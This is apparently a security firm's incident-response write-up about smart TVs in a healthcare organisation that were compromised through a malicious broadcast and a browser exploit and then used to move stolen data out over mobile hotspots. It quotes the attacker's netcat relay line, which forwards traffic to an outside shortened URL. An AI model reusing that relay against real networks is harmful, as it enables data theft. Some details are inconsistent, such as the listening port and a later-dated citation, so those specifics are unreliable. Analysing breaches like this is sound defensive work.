Over the Air Breach and how it led to healthcare data loss

‍

On the 22nd of April, the client was subjected to an “Over the Air” attack targeted at several devices within the IT environment. The attack was a success, and the attackers obtained system-level access to three devices within the network, remaining undetected until the 16th of May.

To facilitate undetectable data egress, the attackers connected each of the three devices to separate 02 Wi-Fi hotspot accounts, providing egress points that would bypass any IPS, content filters, or firewall. Of more significant concern was that this also bypassed all the security monitoring, rendering the business blind to the attackers' actions.

The attackers did attempt to cover their tracks internally. However, through their inexperience in the attack deployment methodology, a lot of information was gained from their command-and-control server, enabling us to recreate their attack and gain insight into what data was stolen. The diagram below provides a snapshot of the attack.

From the data analysed, we were able to determine that 11GB of compressed data was transferred out of the organisation. That 11GB of compressed data is 94GB of uncompressed data. The following losses occurred:

• 9,507 payment records were copied, containing bank information and payment card data
• 4,394 personal records were accessed and copied
• 822 of those records contained Sensitive Personal Information
• 71 significant data sets of individuals contained excessive information
• 3 core patient delivery services have been affected and need reviewing to ensure information integrity

We are unable to provide any insight into who the attackers were.

Attack & Breach Detection

Hedgehog Security's SOC365 team was engaged to perform a breach investigation for “a client” on the 16th of May 2021. The investigation was performed over eight days with daily briefings to the board of directors.

The investigation was to identify if a breach had occurred, and if there had been, to answer the following questions:

1. What information was at risk?
2. Had any information been stolen, and if so, what information?
3. How did the breach occur?

To understand what happened, it is best to start in the middle and then work backwards.

Timeline of the Attack / Breach

The following day the IT team reviewed the incident alert and performed a check of all internal and remote access, determining that there have been no unauthorised access attempts performed around and prior to the time of the alert.

22 April

On the 22nd, trouble tickets were raised by three staff. The large screens in the meeting rooms were not connecting to the DVB stream for the corporate messaging. IT responded and re-tuned each of the screens to the DVB stream. The fault appeared to be fixed and did not re-occur. The tickets were closed.

14 May

On the 14th, the security administrator received a single alert from the SIEM alerting to an Excessive File Transfer Size.

May 14 04:17:21 Excessive File Transfer > 2GB nas001.int.domain:54721 -> 192.168.22.71:22

No immediate action was taken as the alert was tagged as low risk and a review was set for the following day because the endpoint was a TV and there were no alerts to data being egressed from the network.

16 May

On the 16th of May, an alert on disc space utilization on nas001 was received and the IT team investigated. The TrueNAS device had less than 10% free space and on investigation, the IT Team found over 11GB of compressed archive files (.zip files), all of which were encrypted.

Reviewing the access logs from the TrueNAS device, the files were created by a system account that is not usually seen on the network and should not be accessing the NAS. The system account connected to the NAS from 192.168.22.71, the IP address of the Samsung TV for which the excessive file transfer alert was generated.

Initial Incident Response

On the 16th of May, the IT Director declared a major incident with its IT systems, suspecting a possible breach had occurred. Despite the best efforts of the IT team, the archive zip files discovered on the 16th of May were not able to be decrypted. However, the total size of all the compressed files was almost the same size as the compressed backup file of the NAS device from the previous day, with the difference in total sizes being accountable to the splitting of the .zip files into multiple archive files.

The timestamp of the files was between 03:55 and 04:10 on the 14th of May. During this time, there was no IT staff on-site and there were no scheduled backups or scripts that would account for these files being in place.

At this point, the client knew the following:

1. A system account belonging to a BI function performed a large aggregation of information on one of the NAS devices and encrypted the files.
2. A large quantity of data was transferred from the TrueNAS to a Samsung TV.
3. There was no evidence to support that the information had left the business.

At this point, the IT Director confirmed a suspected breach, and the SOC365 team was brought in to perform an investigation into the event.

Analysis of the Breach

Security Logs were Blind to the Attack

We started by analysing the logs and alerts on the client's AlienVault SIEM. We checked for alerts from the preceding 48 hours through to the day of the investigation. We were able to quickly see the alert that triggered the breach investigation process; however, no other alerts had been generated.

Looking into the rules on the AlienVault appliances, an alert would only be generated if a file greater than 2GB was transferred across the network. All the files on the TrueNAS devices that were questionable were 1.2 GB. We looked deeper into the files stored on the TrueNAS devices and there were no single files that would trigger that alert, so the alert would logically have been triggered by a series of files being transferred.

We checked through the rules within AlienVault and the connections with the border Cisco IPS and Firewalls and there were no alerts generated. The remote access service Cisco VPN showed no attempted logins for the preceding 6 hours and in the preceding 14 days, only two failed login attempts. Both failed logins were confirmed to be genuine by checking with the users in question.

It was clear that whatever happened had been carried out in a manner that was supposed to fly under the radar of any logging and monitoring tools.

The Attack Came Through a TV

The alerts generated by AlienVault stated that there was a large file transfer from the TrueNAS where we know there are many questionable files, to a Samsung TV within the estate. Early analysis by the security administrator reported the TV to be in a normal state of operation.

Manually checking the TV, everything appeared in order. There were no devices connected to the TV via USB ports other than the display beamer and the TV was showing the correct corporate messaging.

The TV was disconnected from the network and placed on an isolated network where we could conduct technical analysis. The first step was to see if the TV had been modified and if it was more “network-aware” than usual.

We used Nmap, a common network port scanner, to check what services on the TV were network-aware:

bashCopy code

root@athena:/home/peter# nmap 192.168.22.71
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-19 03:00 UTC
Nmap scan report for localhost (192.168.22.71)
Host is up (0.0000050s latency).
Not shown: 993 closed ports
PORT    STATE SERVICE
22/tcp  open ssh
80/tcp  open http
443/tcp open https
8441/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds


This is suspicious. We confirmed with the IT manager that the TV had not been modified in any way and that the only inputs to the TV were the USB attached screen beamer and the corporate messaging displays. However, the TV is clearly running an SSH server that is listening for connections on port 22, and there is an unknown service listening on port 8441. This correlates with the SIEM log, which showed the file transfer was between the NAS and port 22 of the TV.

At this point, the only logical avenue to further investigate was to make a connection to the TV on port 22 using one of the small numbers of IT admin accounts that had been provided. Unsurprisingly, all these failed. The only solution was the non-forensically sound rooting of the TV, which would need director level authorisation. This was authorised by the IT Director.

TV with Hackers Inside

With root access to the TV, we can see much more of what is going on.

bashCopy code

uname -a
Linux Samsung 4.1.10 #1 SMP PREEMPT Mon Sep 21 14:16:54 UTC 2020 armv7l GNU/Linux

id
uid=5001(owner) gid=100(users) groups=29(audio),44(video),100(users),201(display),1901(log),6509(app_logging),10001(priv_externalstorage),10502(priv_mediastorage),10503(priv_recorder),10704(priv_internet),10705(priv_network_get) context=”User::Pkg::org.tizen.browser”


We were able to check the read/write area of the TV storage to see what is being stored. The storage area is not large there is no expectation of a lot of files.

bashCopy code

ls /ltd

_rwareacommon.c      getroot         nc      ncf     reboot.c


As we suspected, the TV has been compromised although it is not clear how the attackers got access to the TV in the first place.

The Files

The common.c and reboot.c files appear to be file parts from a privilege escalation attack that is related to the SMACK, Simplified Mandatory Access Control in Kernel. A very good write up of this privilege escalation attack against a Smart TV was published by SYNACTIV in 2022.

The getroot file is an encrypted executable binary that is used to run the privilege escalation attack. Although we are not able to read the contents of the file, there is sufficient evidence in the other files for us to surmise its purpose.

The nc file is a binary file called netcat, a general-purpose network tool that can be used as a network listener or to send files/commands to a remote system.

The ncf file is a script. Looking inside the script provides light to what has been going on.

kotlinCopy code

cat this
nc -l localhost 8441 --sh-exec 'nc shorturl.at/llzO4 80'


None of these files explains how access to obtained in the first place.

How the TV was originally compromised

The initial compromise was extremely hard to identify, and 100% certainty is still not possible. From the analysis of the TVs and the data retrieved, it is possible to see from the logs that the TV browsed to a bit.ly shortened URL which, at the time of the investigation, was live and serving a single HTML page that loaded a JavaScript-based OOB exploit against chromium-based browsers. The OOB exploit was very similar to the one we wrote about in 2020 in our insights blog.

The description from the end-users provided to IT on the trouble tickets on the 22nd of April is consistent with a malicious HbbTV DVB stream being transmitted from an attacker with more signal strength than local DVB streams. This will have resulted in any TVs receiving the signal to transparently browse to the webpage that the attackers had embedded in the XML application within the stream. The TV’s default chromium web browser would then have opened the page in the background causing the JavaScript based exploit to execute.

Using a TV as a Network Bridge

We know that netcat is listening on port 4000. From a review of the ncf script, we know that any file being sent to port 4000 on the TV is transferred to the endpoint masked by the shorturl, making the TV a conduit gateway for file egress from the business. But there are no alerts on the SIEM for the egress of the data, so how is it happening?

The TV has a static IP address assigned to it on the local area network but the TV is also fitted with a wireless network card. Checking the network interfaces on the TV, we can see that the wireless network is up and running.

pythonCopy code

ifconfig wlan0
wlan0    Link encap:Ethernet  HWaddr 54:88:0E:99:28:41
        inet addr:172.16.94.171  Mask:255.255.255.255
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:20  errors:0  dropped:0  overruns:0  frame:0
        TX packets:11  errors:0  dropped:0  overruns:0  carrier:0
        collisions:0 txqueuelen:1000
        RX bytes: 15492 (15.4 KiB)  TX bytes: 19746 (19.7 KiB)


We confirmed with the IT team that there is no wireless network with that address range in the business. A quick scan of the available wireless networks in the vicinity highlighted the network in question. The TV was connected to an O2 consumer network for people on the move. This answers the “has the data left the business” question.

Was this the only device compromised?

There are 11 large screens in the business. All of these were reviewed and the three for which trouble tickets were raised on the 22nd of April were all compromised.

The Attack Infrastructure

We know that one of the attacker’s endpoints was located at the shortened URL of hxxp://shorturl.at/llzO4. It is key to the investigation to ascertain as much information about the attackers as possible. To do this we ran a port scan against their system and then enumerated any files that may be present. Querying ports 80 and 443 returned the same XML application page for HbbTV.

‍

The XML application is a simple HbbTV application for the interactive DVB stream commonly referred to as the “Red Button” function. When encountered, the HbbTV service will load the page listed in document.location.href. The runme.html page itself is blank aside from a “Hello World” message. However, there are several JavaScript files that the index.html page loads. We found overflow.js and shell.js. Suspicious?

overflow.js and shell.js

Overflow.js is a well-known buffer flow (CVE-2020-6383) exploit written in JavaScript for a drive-by execution of a browser. The overflow takes advantage of a vulnerability within the JavaScript sort function and executes the contents of shell.js to provide the attacker with command-line shell access to the system that is running the web browser.

Summary

Of all the TV screens present in the environment, three of them had been compromised with the attackers having command-line access to the devices.

The attacker or attackers had successful remote access to the three devices from the 22nd of April and remained undetected until the investigation took place on the 16th of May.

Each of the compromised TVs was connected to separate 02 Wi-Fi hotspot accounts, providing the attackers three potential egress points that would bypass any IPS, content filters, or firewall. Of more significant concern was that this also bypassed all the security monitoring, rendering the business blind to the attackers’ actions.

The attackers did attempt to cover their tracks internally. However, through their inexperience in the attack deployment methodology, a lot of information was gained from their command-and-control server. We know that the attacker was not too familiar with the HbbTV function and used a copy and paste of a demo application. There was no need to host the HbbTV XML application on the attacker’s C&C server as it would have been embedded in the DVB stream that was used to force the TVs to silently load the page in the first place.

We replicated the transfer mechanism in a lab environment, and it worked well. It must therefore be assumed that the attackers successfully exfiltrated all the compressed archive files from the NAS device to their external server.